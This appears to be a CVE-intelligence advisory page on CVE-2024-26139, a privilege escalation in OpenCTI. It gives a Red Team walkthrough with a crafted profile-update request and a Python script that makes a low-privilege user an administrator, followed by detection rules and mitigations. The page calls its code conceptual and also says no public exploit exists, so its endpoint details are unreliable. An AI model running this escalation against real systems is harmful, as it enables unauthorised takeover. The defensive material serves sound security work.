☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-26139

CVE-2024-26139 Privilege Escalation in Opencti
📅 PUBLISHED: 2024-05-23 11:47 UTC 🔄 UPDATED: 2026-09-23 20:15 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: France License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-26139 is a privilege escalation vulnerability in the OpenCTI platform, an open-source cyber threat intelligence (CTI) management system. The flaw resides in the profile edit functionality, where insufficient security controls allow an authenticated attacker with low privileges to escalate their role to administrator. This can lead to full compromise of the CTI knowledge base, observables, and connected systems. The CVSS score of 8.3 (High) reflects the severe impact on confidentiality, integrity, and availability, despite requiring authentication. No public exploit code or patch details are currently available, but the vulnerability is actively monitored.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a low-privilege account.
  • User Interaction (UI): None (N) – No victim action needed.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Full read access to all CTI data.
  • Integrity (I): High (H) – Ability to modify or delete threat intelligence.
  • Availability (A): High (H) – Potential to disrupt platform operations.

Threat Level: High. The low complexity and low privilege requirement make this a prime target for internal attackers or those who have compromised a low-privilege account.

Deep Dive & Mechanics

The vulnerability exists in the profile editing endpoint of OpenCTI. The application fails to properly validate that the user modifying their profile is only allowed to change their own non-privileged attributes. By manipulating the request (e.g., adding a role parameter or modifying a hidden field), an attacker can assign themselves the Administrator role. The lack of server-side authorization checks on the role assignment field allows this privilege escalation.

The attack flow:

  1. Attacker authenticates as a low-privilege user (e.g., Observer).
  2. Attacker sends a crafted HTTP request to the profile update endpoint (e.g., PUT /api/profile).
  3. The request includes a parameter like role=admin or groups=[admin_group_id].
  4. The server updates the user's role without verifying the user's current permissions to change roles.
  5. The attacker now has administrative access.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described conceptually.

Vulnerable Code (Conceptual):

# Vulnerable: No check on role assignment
@app.route('/api/profile', methods=['PUT'])
@login_required
def update_profile():
    user = get_current_user()
    data = request.get_json()
    user.name = data.get('name', user.name)
    user.email = data.get('email', user.email)
    user.role = data.get('role', user.role)  # No authorization check
    db.session.commit()
    return jsonify(success=True)

Patched Code (Conceptual):

# Patched: Role change requires admin privileges
@app.route('/api/profile', methods=['PUT'])
@login_required
def update_profile():
    user = get_current_user()
    data = request.get_json()
    user.name = data.get('name', user.name)
    user.email = data.get('email', user.email)
    # Only allow role change if current user is admin
    if 'role' in data and not current_user.is_admin():
        return jsonify(error="Unauthorized"), 403
    user.role = data.get('role', user.role)
    db.session.commit()
    return jsonify(success=True)

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running OpenCTI instance (e.g., version 5.x).
  • A low-privilege user account (e.g., observer with password observer123).

Exploitation Steps:

  1. Log in to OpenCTI as the low-privilege user.
  2. Intercept the profile update request using a proxy (e.g., Burp Suite).
  3. Modify the request to include the role parameter:
    PUT /api/profile HTTP/1.1
    Host: opencti.local
    Content-Type: application/json
    Authorization: Bearer <token>
    
    {
      "name": "attacker",
      "email": "attacker@example.com",
      "role": "admin"
    }
    
  4. Send the request. If successful, the user's role is escalated.
  5. Verify by accessing an admin-only endpoint (e.g., /api/admin/users).

Automated Exploit (Python):

import requests

target = "https://opencti.local"
session = requests.Session()

# Login as low-privilege user
login_data = {"username": "observer", "password": "observer123"}
session.post(f"{target}/api/login", json=login_data)

# Escalate privilege
profile_data = {"name": "observer", "email": "observer@example.com", "role": "admin"}
r = session.put(f"{target}/api/profile", json=profile_data)
if r.status_code == 200:
    print("Privilege escalation successful!")
else:
    print("Failed:", r.text)

Blue Team

Detection:

  • Monitor for unusual changes to user roles, especially from low-privilege to admin.
  • Alert on API requests to /api/profile that include a role parameter.
  • Review logs for PUT /api/profile requests from non-admin users.

Hunting Query (Splunk):

index=opencti sourcetype=api_logs
method=PUT uri=/api/profile
| search role=*
| table _time, user, role, src_ip

Mitigation:

  • Apply input validation and server-side authorization checks.
  • Implement role change audit logging.
  • Restrict profile edit API to only allow changes to non-privileged fields.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP PUT requests to /api/profile with a role parameter.
    • Unusual API calls to admin endpoints from previously low-privilege users.
  • Host:
    • Log entries showing role changes without admin approval.
    • User accounts with unexpected admin role.
  • File:
    • Modified user database entries (e.g., in PostgreSQL or SQLite).

Detection Engineering

YARA Rule

rule CVE_2024_26139_OpenCTI_PrivEsc {
    meta:
        description = "Detects privilege escalation attempts in OpenCTI profile edit"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-26139"
    strings:
        $s1 = "role" ascii wide nocase
        $s2 = "admin" ascii wide nocase
        $s3 = "/api/profile" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: OpenCTI Privilege Escalation via Profile Edit
id: cve-2024-26139
status: experimental
description: Detects attempts to escalate privileges by modifying the role parameter in profile edit requests.
author: Valters IT
date: 2024/01/01
logsource:
    category: web
    product: opencti
detection:
    selection:
        http.method: 'PUT'
        http.url: '/api/profile'
        http.body|contains: 'role'
    condition: selection
falsepositives:
    - Legitimate admin profile updates (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-26139 OpenCTI Privilege Escalation Attempt";
    flow:to_server,established;
    http.method; content:"PUT";
    http.uri; content:"/api/profile";
    http.request_body; content:"role";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable profile edit functionality for non-admin users if possible.
  2. Implement a WAF rule to block requests containing role in the profile edit endpoint.
  3. Audit all user accounts for unauthorized role changes.

Long-term Fix:

  • Apply server-side authorization checks to ensure only admins can change roles.
  • Use a whitelist of allowed fields for profile updates.
  • Implement multi-factor authentication for role changes.

Workaround:

  • Restrict network access to the OpenCTI API to trusted IPs only.
  • Monitor logs for suspicious profile edit requests.

Patch Status: UNKNOWN. Monitor the OpenCTI GitHub repository for official patches.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-26139/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.